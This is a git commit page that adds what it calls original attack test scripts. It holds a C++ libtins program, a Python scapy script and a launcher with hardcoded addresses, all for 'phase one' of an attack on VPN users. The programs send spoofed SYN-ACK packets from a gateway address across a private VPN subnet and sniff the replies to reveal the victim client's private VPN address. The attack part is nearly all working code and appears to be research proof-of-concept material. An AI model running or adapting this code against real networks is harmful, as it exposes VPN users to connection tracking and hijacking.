adding original attack test scripts and demos
This commit is contained in:
Beau Kujath committed
1 parent
42571735de
commit
5882c33314
102 files changed
+32248
No files matched your search
@@ -0,0 +1,2 @@
|
||||
all:
|
||||
g++ -O3 -o send_p1 send.cpp -lpthread -ltins -std=c++11
|
||||
+10
@@ -0,0 +1,10 @@
|
||||
#/bin/bash
|
||||
|
||||
./phase_one_attack 52:54:00:12:ae:4c\
|
||||
52:54:00:12:ae:3f\
|
||||
10.7.1.0\
|
||||
255.255.255.0\
|
||||
192.168.64.1\
|
||||
ens5\
|
||||
35220\
|
||||
443
|
||||
@@ -0,0 +1,204 @@
|
||||
/*
|
||||
* Modified from http://libtins.github.io/examples/syn-scanner/
|
||||
*
|
||||
* INCLUDED COPYRIGHT
|
||||
* Copyright (c) 2016, Matias Fontanini
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are
|
||||
* met:
|
||||
*
|
||||
* * Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above
|
||||
* copyright notice, this list of conditions and the following disclaimer
|
||||
* in the documentation and/or other materials provided with the
|
||||
* distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*
|
||||
*/
|
||||
|
||||
#include <iostream>
|
||||
#include <iomanip>
|
||||
#include <vector>
|
||||
#include <set>
|
||||
#include <string>
|
||||
#include <cstdlib>
|
||||
#include <pthread.h>
|
||||
#include <unistd.h>
|
||||
#include <tins/tins.h>
|
||||
#include <tins/ip.h>
|
||||
#include <tins/tcp.h>
|
||||
#include <tins/ip_address.h>
|
||||
#include <tins/ethernetII.h>
|
||||
#include <tins/network_interface.h>
|
||||
#include <tins/sniffer.h>
|
||||
#include <tins/utils.h>
|
||||
#include <tins/packet_sender.h>
|
||||
|
||||
using std::cout;
|
||||
using std::endl;
|
||||
using std::vector;
|
||||
using std::pair;
|
||||
using std::setw;
|
||||
using std::string;
|
||||
using std::set;
|
||||
using std::runtime_error;
|
||||
|
||||
using namespace Tins;
|
||||
|
||||
typedef pair<Sniffer*, string> sniffer_data;
|
||||
|
||||
std::string vip;
|
||||
std::string gwip;
|
||||
|
||||
bool verbose = false;
|
||||
|
||||
|
||||
class Scanner {
|
||||
public:
|
||||
Scanner(NetworkInterface& interface,
|
||||
std::string dest_mac,
|
||||
std::string source_mac,
|
||||
std::string gateway_ip,
|
||||
std::string private_ip,
|
||||
std::string private_ip_subnet_mask,
|
||||
int sport,
|
||||
int dport);
|
||||
|
||||
void run();
|
||||
private:
|
||||
void send_synacks();
|
||||
bool callback(PDU& pdu);
|
||||
static void* thread_proc(void* param);
|
||||
void launch_sniffer();
|
||||
NetworkInterface iface;
|
||||
std::string dst_mac;
|
||||
std::string src_mac;
|
||||
std::string src_ip;
|
||||
std::string victim_ip;
|
||||
std::string victim_subnet;
|
||||
int sport;
|
||||
int dport;
|
||||
Sniffer sniffer;
|
||||
};
|
||||
|
||||
Scanner::Scanner(NetworkInterface& interface,
|
||||
std::string dest_mac,
|
||||
std::string source_mac,
|
||||
std::string gateway_ip,
|
||||
std::string private_ip,
|
||||
std::string private_ip_subnet_mask,
|
||||
int src_port,
|
||||
int dst_port) : iface(interface), dst_mac(dest_mac), src_mac(source_mac), src_ip(gateway_ip), victim_ip(private_ip), victim_subnet(private_ip_subnet_mask), sport(src_port), dport(dst_port),sniffer(interface.name()) {
|
||||
|
||||
}
|
||||
|
||||
void* Scanner::thread_proc(void* param) {
|
||||
Scanner* data = (Scanner*)param;
|
||||
data->launch_sniffer();
|
||||
return 0;
|
||||
}
|
||||
|
||||
void Scanner::launch_sniffer() {
|
||||
sniffer.sniff_loop(make_sniffer_handler(this, &Scanner::callback));
|
||||
}
|
||||
|
||||
/* Our scan handler. This will receive SYN-ACKS and inform us
|
||||
* the scanned port's status.
|
||||
*/
|
||||
bool Scanner::callback(PDU& pdu) {
|
||||
// Find the layers we want.
|
||||
const IP &ip = pdu.rfind_pdu<IP>(); // Grab IP layer of sniffed packet
|
||||
const TCP &tcp = pdu.rfind_pdu<TCP>(); // Grab TCP layer
|
||||
static int total_seen = 0;
|
||||
if (ip.src_addr().to_string().rfind("10.", 0) == 0 && tcp.sport() != 22) {
|
||||
if (verbose) std::cout << "Victim IP is:";
|
||||
std::cout << ip.src_addr() << "\n";
|
||||
vip = ip.src_addr();
|
||||
total_seen += 1;
|
||||
if (total_seen > 0) {
|
||||
return false;
|
||||
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
void Scanner::run() {
|
||||
pthread_t thread;
|
||||
// Launch our sniff thread.
|
||||
pthread_create(&thread, 0, &Scanner::thread_proc, this);
|
||||
// Start sending SYNs to port.
|
||||
send_synacks();
|
||||
|
||||
// Wait for our sniffer.
|
||||
void* dummy;
|
||||
pthread_join(thread, &dummy);
|
||||
}
|
||||
|
||||
// Send syn acks to the given ip address, using the destination ports provided.
|
||||
void Scanner::send_synacks() {
|
||||
// Retrieve the addresses.
|
||||
PacketSender sender;
|
||||
IPv4Range ip_range = IPv4Range::from_mask(victim_ip, victim_subnet);
|
||||
|
||||
|
||||
for (const IPv4Address &addr : ip_range) {
|
||||
EthernetII pkt = EthernetII(dst_mac, src_mac) / IP(addr, src_ip) / TCP(dport, sport);
|
||||
TCP& tcp = pkt.rfind_pdu<TCP>();
|
||||
tcp.set_flag(TCP::ACK, 1);
|
||||
tcp.set_flag(TCP::SYN, 1);
|
||||
if (verbose) std::cout << "Sending to IP:" << addr << std::endl;
|
||||
sender.send(pkt, iface);
|
||||
sender.send(pkt, iface);
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
void scan(int argc, char* argv[]) {
|
||||
std::string dst_mac = argv[1]; // victim MAC address
|
||||
std::string src_mac = ""; // src mac does not matter
|
||||
std::string private_ip_subnet = argv[2];
|
||||
std::string private_ip_subnet_mask = argv[3];
|
||||
gwip = argv[4]; // IP of server that client is talking to
|
||||
|
||||
int sport = 80; // source, dest port for phase-1 are arbitrary
|
||||
int dport = 80;
|
||||
|
||||
|
||||
IPv4Address ip(gwip);
|
||||
// Resolve the interface which will be our gateway
|
||||
NetworkInterface iface(ip);
|
||||
if (verbose) cout << "Sniffing on interface: " << iface.name() << endl;
|
||||
// Consume arguments
|
||||
Scanner scanner(iface, dst_mac, src_mac, gwip, private_ip_subnet,
|
||||
private_ip_subnet_mask, sport, dport);
|
||||
scanner.run();
|
||||
}
|
||||
|
||||
int main(int argc, char* argv[]) {
|
||||
if (argc != 6) {
|
||||
std::cout << "usage: ./send <DST_MAC> <PRIVATE IP SUBNET> <PRIVATE IP SUBNET MASK> <SOUCE IP> <IFACE>\n";
|
||||
exit(-1);
|
||||
}
|
||||
try {
|
||||
scan(argc, argv);
|
||||
}
|
||||
catch(runtime_error& ex) {
|
||||
cout << "Error - " << ex.what() << endl;
|
||||
}
|
||||
}
|
||||
Executable
+155
@@ -0,0 +1,155 @@
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import *
|
||||
import ipaddress
|
||||
from threading import Thread, Event
|
||||
from time import sleep
|
||||
import os
|
||||
|
||||
#
|
||||
#
|
||||
#
|
||||
#
|
||||
# Thread classes for sniffing
|
||||
#
|
||||
# Sniffer Class all grabbed from https://www.cybrary.it/0p3n/sniffing-inside-thread-scapy-python/
|
||||
|
||||
class Sniffer(Thread):
|
||||
def __init__(self, iface="en0"):
|
||||
|
||||
super().__init__()
|
||||
|
||||
self.daemon = True
|
||||
self.vpn_addr = None
|
||||
|
||||
self.current_phase = 1
|
||||
self.spoof_count = 0
|
||||
self.spoof_port = 0
|
||||
|
||||
self.socket = None
|
||||
self.iface = iface
|
||||
self.stop_sniffer = Event()
|
||||
|
||||
def run(self):
|
||||
self.socket = conf.L2listen(
|
||||
type=ETH_P_ALL,
|
||||
iface=self.iface,
|
||||
filter="ip"
|
||||
)
|
||||
|
||||
sniff(
|
||||
opened_socket=self.socket,
|
||||
prn=self.handle_packet,
|
||||
|
||||
)
|
||||
|
||||
def join(self, timeout=None):
|
||||
self.stop_sniffer.set()
|
||||
super().join(timeout)
|
||||
|
||||
def get_vpn_addr(self):
|
||||
return self.vpn_addr
|
||||
|
||||
def set_phase(self, phase):
|
||||
self.current_phase = phase
|
||||
|
||||
|
||||
|
||||
def check_for_req(self, packet):
|
||||
|
||||
ip_layer = packet.getlayer(IP)
|
||||
|
||||
# for phase 1 (on ubuntu 19) we wanna look for a reset
|
||||
# with source of private vpn address and dest of gateway
|
||||
|
||||
if self.current_phase == 1:
|
||||
|
||||
if "10." in ip_layer.src:
|
||||
|
||||
if ip_layer.src == self.vpn_addr:
|
||||
print("multiple matches for: " + str(self.vpn_addr))
|
||||
# could make the scan stop after this point but
|
||||
# only takes a second or two to finish up
|
||||
|
||||
print("Victim private ip is: " + str(ip_layer.src))
|
||||
self.vpn_addr = ip_layer.src
|
||||
|
||||
|
||||
|
||||
|
||||
def handle_packet(self, packet):
|
||||
|
||||
#ip_layer = packet.getlayer(IP)
|
||||
#print("[!] New Packet: {src} -> {dst}".format(src=ip_layer.src, dst=ip_layer.dst))
|
||||
|
||||
# if its not an SSH packet then check for challenge acks
|
||||
#
|
||||
if TCP in packet:
|
||||
tcp_sport = packet[TCP].sport
|
||||
tcp_dport = packet[TCP].dport
|
||||
|
||||
if (tcp_sport != 2222 and tcp_dport != 2222) or (tcp_sport != 22 and tcp_dport != 22):
|
||||
|
||||
self.check_for_req(packet)
|
||||
############
|
||||
|
||||
def phase_one_spread(gateway_ip, dst_net, iface="en0", edst="08:00:27:5c:c9:d1",
|
||||
sport=50505, dport=443, flags="SA"):
|
||||
|
||||
pieces = gateway_ip.split('.')
|
||||
src = pieces[0] + '.' + pieces[1] + '.' + pieces[2] + '.1'# should be gateway of LAN
|
||||
src = gateway_ip
|
||||
eth = Ether(dst=edst)
|
||||
tcps = TCP(sport=sport,dport=dport,flags=flags) # src and dst ports don't matter
|
||||
|
||||
for ip in ipaddress.IPv4Network(dst_net + '/24'):
|
||||
print('{} to: {}'.format(flags, str(ip)))
|
||||
ip_pack = IP(src = src, dst = str(ip))
|
||||
sendp(eth/ip_pack/tcps, iface=iface, count=2, verbose=0)
|
||||
|
||||
|
||||
print("\nFinished spreading to private address space.")
|
||||
|
||||
|
||||
def main():
|
||||
if len(sys.argv) < 5:
|
||||
print("Usage:\n{} {} {} {} {} [{}] [{}]".format(
|
||||
sys.argv[0], "<GATEWAY_IP>", "<VPN SUBNET>", "<IFACE>", "<VICTIM_MAC>",
|
||||
"<SPORT>", "<>"))
|
||||
exit(-1)
|
||||
gateway_ip = sys.argv[1]
|
||||
vpn_net = sys.argv[2]
|
||||
iface = sys.argv[3]
|
||||
edst = sys.argv[4]
|
||||
if len(sys.argv) == 6:
|
||||
sport = int(sys.argv[5])
|
||||
else:
|
||||
sport = 50505
|
||||
if len(sys.argv) == 7:
|
||||
dport = int(sys.argv[6])
|
||||
else:
|
||||
dport = 443
|
||||
if len(sys.argv) == 8:
|
||||
flags = sys.argv[7]
|
||||
else:
|
||||
flags = "SA"
|
||||
|
||||
|
||||
sniffer = Sniffer(iface=iface)
|
||||
sniffer.start()
|
||||
|
||||
## Phase 1 - spread private address range passed in
|
||||
#
|
||||
sleep(.5)
|
||||
|
||||
print("Scanning entire dest net " + str(vpn_net))
|
||||
phase_one_spread(gateway_ip, str(vpn_net),
|
||||
iface=iface, edst=edst,
|
||||
sport=sport, dport=dport, flags=flags)
|
||||
|
||||
vpn_addr = sniffer.get_vpn_addr()
|
||||
print('Completed phase one and found client has private VPN address: ' + str(vpn_addr) + '\n\n')
|
||||
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
Reference in new issue
Block a user